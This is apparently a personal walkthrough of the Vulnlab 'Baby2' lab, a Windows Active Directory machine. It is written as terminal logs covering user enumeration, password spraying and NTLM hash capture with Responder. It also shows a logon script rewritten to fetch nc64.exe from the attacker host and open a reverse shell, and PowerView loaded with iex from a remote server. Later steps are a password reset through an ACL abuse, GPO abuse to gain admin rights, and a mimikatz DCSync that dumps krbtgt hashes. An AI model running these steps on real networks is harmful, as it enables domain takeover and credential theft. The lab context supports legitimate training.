vulnlab-baby2

Baby2 is an medium Windows machine on Vulnlab

https://wiki.vulnlab.com/intro/lab-access

Tools used : kerbrute_linux , crackmapexec , responder , smbclient , bloodhound-python , pygpoabuse.py , evil-winrm , impacket-secretsdump

After the nmap scan, we add to our /etc/hosts

110.10.107.115 dc.baby2.vl baby2.vl

SMB enumeration

┌──(puck㉿kali)-[~/vulnlab/baby2]
└─$ ./kerbrute_linux_386 userenum -d baby2.vl --dc 10.10.107.115 ./users.txt -v

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: v1.0.3 (9dad6e1) - 06/05/24 - Ronnie Flathers @ropnop

2024/06/05 10:51:32 >  Using KDC(s):
2024/06/05 10:51:32 >  	10.10.107.115:88

2024/06/05 10:51:32 >  [+] VALID USERNAME:	 Joan.Jennings@baby2.vl
2024/06/05 10:51:32 >  [!] library        @baby2.vl - User does not exist
2024/06/05 10:51:32 >  [+] VALID USERNAME:	 Mohammed.Harris@baby2.vl
2024/06/05 10:51:32 >  [+] VALID USERNAME:	 Kieran.Mitchell@baby2.vl
2024/06/05 10:51:32 >  [+] VALID USERNAME:	 Harry.Shaw@baby2.vl
2024/06/05 10:51:32 >  [+] VALID USERNAME:	 Amelia.Griffiths@baby2.vl
2024/06/05 10:51:32 >  [+] VALID USERNAME:	 Carl.Moore@baby2.vl
2024/06/05 10:51:32 >  [!] Joel.Hurst   @baby2.vl - User does not exist
2024/06/05 10:51:32 >  [!] Nicola.Lamb    @baby2.vl - User does not exist
2024/06/05 10:51:32 >  [!] Lynda.Bailey   @baby2.vl - User does not exist
2024/06/05 10:51:33 >  [+] VALID USERNAME:	 Ryan.Jenkins@baby2.vl
2024/06/05 10:51:33 >  Done! Tested 11 usernames (7 valid) in 0.046 seconds

.

make a user list

This includes all the users with home directories, and more. I’ll use this to make a users list:

puck@hacky$ netexec smb dc.baby2.vl -u guest -p '' --rid-brute | grep SidTypeUser | cut -d'\' -f2 | cut -d' ' -f1 | tee users
Administrator
Guest
krbtgt
DC$
gpoadm
Joan.Jennings
Mohammed.Harris
Harry.Shaw
Carl.Moore
Ryan.Jenkins
Kieran.Mitchell
Nicola.Lamb
Lynda.Bailey
Joel.Hurst
Amelia.Griffiths
library

.

check for username=password

┌──(puck㉿kali)-[~/vulnlab/baby2]
└─$ crackmapexec smb baby2.vl -u 'users.txt' -p 'users.txt'  --no-bruteforce --continue-on-success
SMB         dc.baby2.vl     445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:baby2.vl) (signing:True) (SMBv1:False)
SMB         dc.baby2.vl     445    DC               [-] baby2.vl\Amelia.Griffiths:Amelia.Griffiths STATUS_LOGON_FAILURE 
SMB         dc.baby2.vl     445    DC               [+] baby2.vl\Carl.Moore:Carl.Moore 
SMB         dc.baby2.vl     445    DC               [-] baby2.vl\Harry.Shaw:Harry.Shaw STATUS_LOGON_FAILURE 
SMB         dc.baby2.vl     445    DC               [-] baby2.vl\Joan.Jennings:Joan.Jennings STATUS_LOGON_FAILURE 
SMB         dc.baby2.vl     445    DC               [-] baby2.vl\Joel.Hurst:Joel.Hurst STATUS_LOGON_FAILURE 
SMB         dc.baby2.vl     445    DC               [-] baby2.vl\Kieran.Mitchell:Kieran.Mitchell STATUS_LOGON_FAILURE 
SMB         dc.baby2.vl     445    DC               [+] baby2.vl\library:library 
SMB         dc.baby2.vl     445    DC               [-] baby2.vl\Lynda.Bailey:Lynda.Bailey STATUS_LOGON_FAILURE 
SMB         dc.baby2.vl     445    DC               [-] baby2.vl\Mohammed.Harris:Mohammed.Harris STATUS_LOGON_FAILURE 
SMB         dc.baby2.vl     445    DC               [-] baby2.vl\Nicola.Lamb:Nicola.Lamb STATUS_LOGON_FAILURE 
SMB         dc.baby2.vl     445    DC               [-] baby2.vl\Ryan.Jenkins:Ryan.Jenkins STATUS_LOGON_FAILURE 

.

                                                                    
┌──(puck㉿kali)-[~/vulnlab/baby2]
sudo responder -I tun0
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR & MDNS Responder 3.1.4.0

  To support this project:
  Github -> https://github.com/sponsors/lgandx
  Paypal  -> https://paypal.me/PythonResponder

--snip--

[+] Generic Options:
    Responder NIC              [tun0]
    Responder IP               [10.8.2.138]
    Responder IPv6             [fe80::649e:d175:8068:bcd1]
    Challenge set              [random]
    Don't Respond To Names     ['ISATAP', 'ISATAP.LOCAL']

[+] Current Session Variables:
    Responder Machine Name     [WIN-4JOEGPTIY13]
    Responder Domain Name      [VHTD.LOCAL]
    Responder DCE-RPC Port     [45034]

[+] Listening for events...

[SMB] NTLMv1-SSP Client   : 10.10.107.115
[SMB] NTLMv1-SSP Username : BABY2\Amelia.Griffiths
[SMB] NTLMv1-SSP Hash     : Amelia.Griffiths::BABY2:209A2B76B00AD43400000000000000000000000000000000:3396018DE3FBCDC60DDC06D5C83119BA2C907D2EE4041103:fe87a8a485cea873
[*] Skipping previously captured hash for BABY2\Amelia.Griffiths
[*] Skipping previously captured hash for BABY2\Amelia.Griffiths
[*] Skipping previously captured hash for BABY2\Amelia.Griffiths

.

Tried to crack Amelia’s hash with hashcat amelia.hash /usr/share/wordlists/rockyou.txt  -> no result

 

Download login.vbs, modify it to below and then upload it

┌──(puck㉿kali)-[~/vulnlab/baby2]
└─$ smbclient //baby2.vl/SYSVOL -U Carl.Moore
Password for [WORKGROUP\Carl.Moore]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Tue Aug 22 19:37:36 2023
  ..                                  D        0  Tue Aug 22 19:37:36 2023
  baby2.vl                           Dr        0  Tue Aug 22 19:37:36 2023

        6126847 blocks of size 4096. 1960515 blocks available
smb: \> cd baby2.vl
smb: \baby2.vl\> ls
  .                                   D        0  Tue Aug 22 19:43:55 2023
  ..                                  D        0  Tue Aug 22 19:37:36 2023
  DfsrPrivate                      DHSr        0  Tue Aug 22 19:43:55 2023
  Policies                            D        0  Tue Aug 22 19:37:41 2023
  scripts                             D        0  Tue Aug 22 21:28:27 2023

        6126847 blocks of size 4096. 1960512 blocks available
smb: \baby2.vl\> cd scripts
smb: \baby2.vl\scripts\> ls
  .                                   D        0  Tue Aug 22 21:28:27 2023
  ..                                  D        0  Tue Aug 22 19:43:55 2023
  login.vbs                           A      992  Sat Sep  2 16:55:51 2023

        6126847 blocks of size 4096. 1960216 blocks available
smb: \baby2.vl\scripts\> get login.vbs
getting file \baby2.vl\scripts\login.vbs of size 992 as login.vbs (6.5 KiloBytes/sec) (average 6.5 KiloBytes/sec)
smb: \baby2.vl\scripts\> ls
  .                                   D        0  Tue Aug 22 21:28:27 2023
  ..                                  D        0  Tue Aug 22 19:43:55 2023
  login.vbs                           A      992  Sat Sep  2 16:55:51 2023

        6126847 blocks of size 4096. 1980334 blocks available
smb: \baby2.vl\scripts\> put login.vbs
putting file login.vbs as \baby2.vl\scripts\login.vbs (19.4 kb/s) (average 19.4 kb/s)
smb: \baby2.vl\scripts\> ls
  .                                   D        0  Tue Aug 22 21:28:27 2023
  ..                                  D        0  Tue Aug 22 19:43:55 2023
  login.vbs                           A     1190  Thu Jun  6 10:42:19 2024

        6126847 blocks of size 4096. 1980332 blocks available
smb: \baby2.vl\scripts\>

.

 

modified login.vbs

┌──(puck㉿kali)-[~/vulnlab/baby2]
└─$ cat login.vbs
Sub MapNetworkShare(sharePath, driveLetter)
    Dim objNetwork
    Set objNetwork = CreateObject("WScript.Network")    
  
    ' Check if the drive is already mapped
    Dim mappedDrives
    Set mappedDrives = objNetwork.EnumNetworkDrives
    Dim isMapped
    isMapped = False
    For i = 0 To mappedDrives.Count - 1 Step 2
        If UCase(mappedDrives.Item(i)) = UCase(driveLetter & ":") Then
            isMapped = True
            Exit For
        End If
    Next
    
    If isMapped Then
        objNetwork.RemoveNetworkDrive driveLetter & ":", True, True
    End If
    
    objNetwork.MapNetworkDrive driveLetter & ":", sharePath
    
    If Err.Number = 0 Then
        WScript.Echo "Mapped " & driveLetter & ": to " & sharePath
    Else
        WScript.Echo "Failed to map " & driveLetter & ": " & Err.Description
    End If
    
    Set objNetwork = Nothing
End Sub
Set oShell = CreateObject("Wscript.Shell")  
oShell.run "cmd.exe /c mkdir C:\Temp"  
oShell.run "cmd.exe /c certutil -urlcache -f http://10.10.14.173:8000/nc64.exe C:\Temp\nc64.exe"  
oShell.run "cmd.exe /c C:\Temp\nc64.exe 10.10.14.173 443 -e cmd.exe"
MapNetworkShare "\\dc.baby2.vl\apps", "V"
MapNetworkShare "\\dc.baby2.vl\docs", "L"

.

Bloodhound

┌──(puck㉿kali)-[~/vulnlab/baby2]
└─$ bloodhound-python -d 'baby2.vl' -u 'library' -p 'library' -c all -ns 10.10.97.10 --zip
INFO: Found AD domain: baby2.vl
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc.baby2.vl
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc.baby2.vl
INFO: Found 16 users
INFO: Found 54 groups
INFO: Found 2 gpos
INFO: Found 3 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: dc.baby2.vl
INFO: Done in 00M 06S

.

$ sudo docker-compose -f /opt/bloodhoundce/docker-compose.yml up

Catch the shell

──(puck㉿kali)-[~/vulnlab/baby2]
└─$ python3 -m http.server 
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.121.13 - - [06/Jun/2024 10:42:58] "GET /Invoke-ConPtyShell.ps1 HTTP/1.1" 200 -
10.10.121.13 - - [06/Jun/2024 10:53:49] "GET /nc.exe HTTP/1.1" 200 -
10.10.121.13 - - [06/Jun/2024 10:53:49] "GET /nc.exe HTTP/1.1" 200 -
10.10.121.13 - - [06/Jun/2024 10:54:49] "GET /nc.exe HTTP/1.1" 200 -
10.10.121.13 - - [06/Jun/2024 10:54:49] "GET /nc.exe HTTP/1.1" 200 -

.

The attack path is as follows. Abuse the WriteDacl ACL as the Amelia Griffiths user to get access to the
gpoadm user account. Then, abuse the GenericAll ACL over the Group Policy Objects.

 

┌──(puck㉿kali)-[~/vulnlab/baby2]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.8.2.138] from (UNKNOWN) [10.10.121.13] 54867
Microsoft Windows [Version 10.0.20348.1906]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
baby2\amelia.griffiths

C:\Windows\system32>cd c:\temp
cd c:\temp

c:\temp>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is E6F3-2485

 Directory of c:\temp

06/06/2024  01:53 AM    <DIR>          .
06/06/2024  01:53 AM            45,272 nc.exe
               1 File(s)         45,272 bytes
               1 Dir(s)   8,262,537,216 bytes free

c:\temp>powershell                                                     
powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS C:\temp> iex (iwr -usebasicparsing http://10.8.2.138:8000/PowerView.ps1)

PS C:\temp> add-domainobjectacl -rights "all" -targetidentity "gpoadm" -principalidentity "Amelia.Griffiths"

PS C:\temp> $cred = ConvertTo-SecureString 'Password123!' -AsPlainText -Force

PS C:\temp> set-domainuserpassword gpoadm -accountpassword $cred

PS C:\temp> 

Check if o.k.

┌──(puck㉿kali)-[~/vulnlab/baby2]
└─$ crackmapexec smb baby2.vl -u 'gpoadm' -p 'Password123!'  --no-bruteforce --continue-on-success 
SMB         dc.baby2.vl     445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:baby2.vl) (signing:True) (SMBv1:False)
SMB         dc.baby2.vl     445    DC               [+] baby2.vl\gpoadm:Password123! 
                                                                                
┌──(puck㉿kali)-[~/vulnlab/baby2]

.

 

Using pyGPOAbuse, we can create an immediate scheduled task which will get executed as SYSTEM user to add gpoadm in local administrators group (for this I had to use python virtual environment as some dependencies were causing an issue with the current version of impacket), we’ll need the GPO ID for creating the task

.

┌──(puck㉿kali)-[~/vulnhub/baby2]
└─$ git clone https://github.com/Hackndo/pyGPOAbuse.git Cloning into 'pyGPOAbuse'
┌──(puck㉿kali)-[~/vulnhub/baby2/pyGPOAbuse]
└─$ python3 -m venv venv
┌──(puck㉿kali)-[~/vulnhub/baby2/pyGPOAbuse]
└─$ source venv/bin/activate
┌──(venv)─(puck㉿kali)-[~/vulnhub/baby2/pyGPOAbuse]
└─$ ls assets LICENSE pygpoabuse pygpoabuse.py README.md requirements.txt venv
┌──(venv)─(puck㉿kali)-[~/vulnhub/baby2/pyGPOAbuse] 
└─$ pip3 install -r requirements.txt Collecting msldap (from -r requirements.txt (line 1))
┌──(venv)─(puck㉿kali)-[~/vulnhub/baby2/pyGPOAbuse]
└─$ python3 pygpoabuse.py 'baby2.vl/gpoadm:Password123!' -gpo-id 31B2F340-016D-11D2-945F-00C04FB984F9 -f -dc-ip 10.10.71.85 -command 'net localgroup administrators /add gpoadm' 
SUCCESS:root:ScheduledTask TASK_60bdad92 created!
[+] ScheduledTask TASK_60bdad92 created!

now we are admin

PS C:\temp> net user gpoadm
net user gpoadm
User name gpoadm
Full Name gpoadm
Comment 
User's comment 
Country/region code 000 (System Default)
Account active Yes
Account expires Never

Password last set 6/6/2024 7:16:03 AM
Password expires Never
Password changeable 6/7/2024 7:16:03 AM
Password required Yes
User may change password Yes

Workstations allowed All
Logon script 
User profile 
Home directory 
Last logon Never

Logon hours allowed All

Local Group Memberships *Administrators 
Global Group memberships *Domain Users 
The command completed successfully.

PS C:\temp>


┌──(puck㉿kali)-[~/vulnhub/baby2]
└─$ evil-winrm -i baby2.vl -u 'gpoadm' -p 'Password123!' 

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\gpoadm\Documents> whoami
baby2\gpoadm
*Evil-WinRM* PS C:\Users\gpoadm\Documents>

.

Beyond root

┌──(puck㉿kali)-[~/vulnhub/baby2]
└─$ xfreerdp /v:10.10.74.17 -sec-nla

┌──(puck㉿kali)-[~/vulnhub/baby2]
└─$ impacket-secretsdump baby2.vl/gpoadm:'Password123!'@10.10.74.17

Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x34170b414576a40142e3edc4911d859d
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:<REDACTED>:::

*Evil-WinRM* PS C:\Users\Administrator\Documents> net user administrator Password123!
The command completed successfully.

┌──(puck㉿kali)-[~/vulnhub/baby2]
└─$ xfreerdp /v:10.10.74.17 -sec-nla 

.

└─$ evil-winrm -i baby2.vl -u Administrator -H 61eb5125f9944214679c2d0fdca6eb82          
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> 

 

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.

c:\windows\system32\tasks\logonsim

<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  <RegistrationInfo>
    <Date>2023-08-22T12:48:15.1312495</Date>
    <Author>BABY2\Administrator</Author>
    <URI>\logonsim</URI>
  </RegistrationInfo>
  <Triggers>
    <LogonTrigger>
      <Repetition>
        <Interval>PT1M</Interval>
        <StopAtDurationEnd>false</StopAtDurationEnd>
      </Repetition>
      <Enabled>true</Enabled>
      <UserId>BABY2\Amelia.Griffiths</UserId>
      <Delay>PT2M</Delay>
    </LogonTrigger>
  </Triggers>
  <Principals>
    <Principal id="Author">
      <RunLevel>LeastPrivilege</RunLevel>
      <UserId>BABY2\Amelia.Griffiths</UserId>
      <LogonType>InteractiveToken</LogonType>
    </Principal>
  </Principals>
  <Settings>
    <MultipleInstancesPolicy>Parallel</MultipleInstancesPolicy>
    <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
    <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
    <AllowHardTerminate>true</AllowHardTerminate>
    <StartWhenAvailable>true</StartWhenAvailable>
    <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
    <IdleSettings>
      <StopOnIdleEnd>true</StopOnIdleEnd>
      <RestartOnIdle>false</RestartOnIdle>
    </IdleSettings>
    <AllowStartOnDemand>true</AllowStartOnDemand>
    <Enabled>true</Enabled>
    <Hidden>false</Hidden>
    <RunOnlyIfIdle>false</RunOnlyIfIdle>
    <WakeToRun>false</WakeToRun>
    <ExecutionTimeLimit>PT0S</ExecutionTimeLimit>
    <Priority>7</Priority>
  </Settings>
  <Actions Context="Author">
    <Exec>
      <Command>C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe</Command>
      <Arguments>\windows\logon.ps1</Arguments>
    </Exec>
  </Actions>
</Task>

c:\windows\login.ps1

cscript //X \\baby2.vl\SYSVOL\baby2.vl\scripts\login.vbs

.

Golden ticket

*Evil-WinRM* PS C:\programdata> .\SafetyKatz.exe -args "lsadump::evasive-dcsync /user:baby2\krbtgt" "exit"

  .#####.   mimikatz 2.2.0 (x64) #19041 Nov  5 2024 21:52:02
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/


mimikatz(commandline) # lsadump::evasive-dcsync /user:baby2\krbtgt
[DC] 'baby2.vl' will be the domain
[DC] 'dc.baby2.vl' will be the DC server
[DC] 'baby2\krbtgt' will be the user account
[rpc] Service  : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)

Object RDN           : krbtgt

** SAM ACCOUNT **

SAM Username         : krbtgt
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration   :
Password last change : 8/22/2023 10:38:16 AM
Object Security ID   : S-1-5-21-213243958-1766259620-4276976267-502
Object Relative ID   : 502

Credentials:
  Hash NTLM: 265c7cc314db5d152fb0f0a871bc3da3
    ntlm- 0: 265c7cc314db5d152fb0f0a871bc3da3
    lm  - 0: d89cc23dd964599cc14c9a3ff9ab7c0a

Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
    Random Value : 7493d03b3d2aa743f921fa587a1b206d

* Primary:Kerberos-Newer-Keys *
    Default Salt : BABY2.VLkrbtgt
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : 22fce2ace6b9170130d5f53a0a4880e0a55ca87aed954be12d6d3c0febfc82d8
      aes128_hmac       (4096) : 51f4635f098fab80509739bce42d2284
      des_cbc_md5       (4096) : d0ecae292fa29e83

* Primary:Kerberos *
    Default Salt : BABY2.VLkrbtgt
    Credentials
      des_cbc_md5       : d0ecae292fa29e83

 

.